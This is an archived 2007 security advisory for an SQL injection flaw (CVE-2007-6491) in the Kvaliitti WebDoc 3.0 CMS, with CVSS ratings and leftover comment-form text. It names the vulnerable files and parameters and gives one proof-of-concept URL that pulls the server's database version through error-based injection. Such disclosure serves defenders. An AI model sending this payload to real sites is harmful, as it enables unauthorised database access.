Kvaliitti WebDoc 3.0 CMS SQL Injection vulnerability

2007.12.21

Credit: Jaakko "Chrysalid" Hartikainen

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2007-6491

CWE: CWE-89

Ogólna skala CVSS: 10/10

Znaczenie: 10/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Pełny

Wpływ na integralność: Pełny

Wpływ na dostępność: Pełny

Found by: Jaakko "Chrysalid" Hartikainen

1. Info

Kvaliitti WebDoc 3.0 CMS is a proprietary Finnish-made content management system developed by Kvaliitti Oy (http://www.kvaliitti.fi). It is driven by MS SQL Server and ASP.

2. Abstract

WebDoc 3.0 suffers from a flaw in input validation, which allows attackers to insert malicious SQL queries into an existing one, possibly gaining complete control over an affected system.

3. Vulnerable files & PoC:

categories.asp, subcategory.asp, document_id, cat_id

This proof of concept example exposes the internal server variable called "@@version":

http://www.vulnerable.tld/categories.asp?document_id=37&cat_id=convert(i
nt,(select+@@version));--

4. Misc

Vendor notified: yes

--

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Kvaliitti WebDoc 3.0 CMS SQL Injection vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.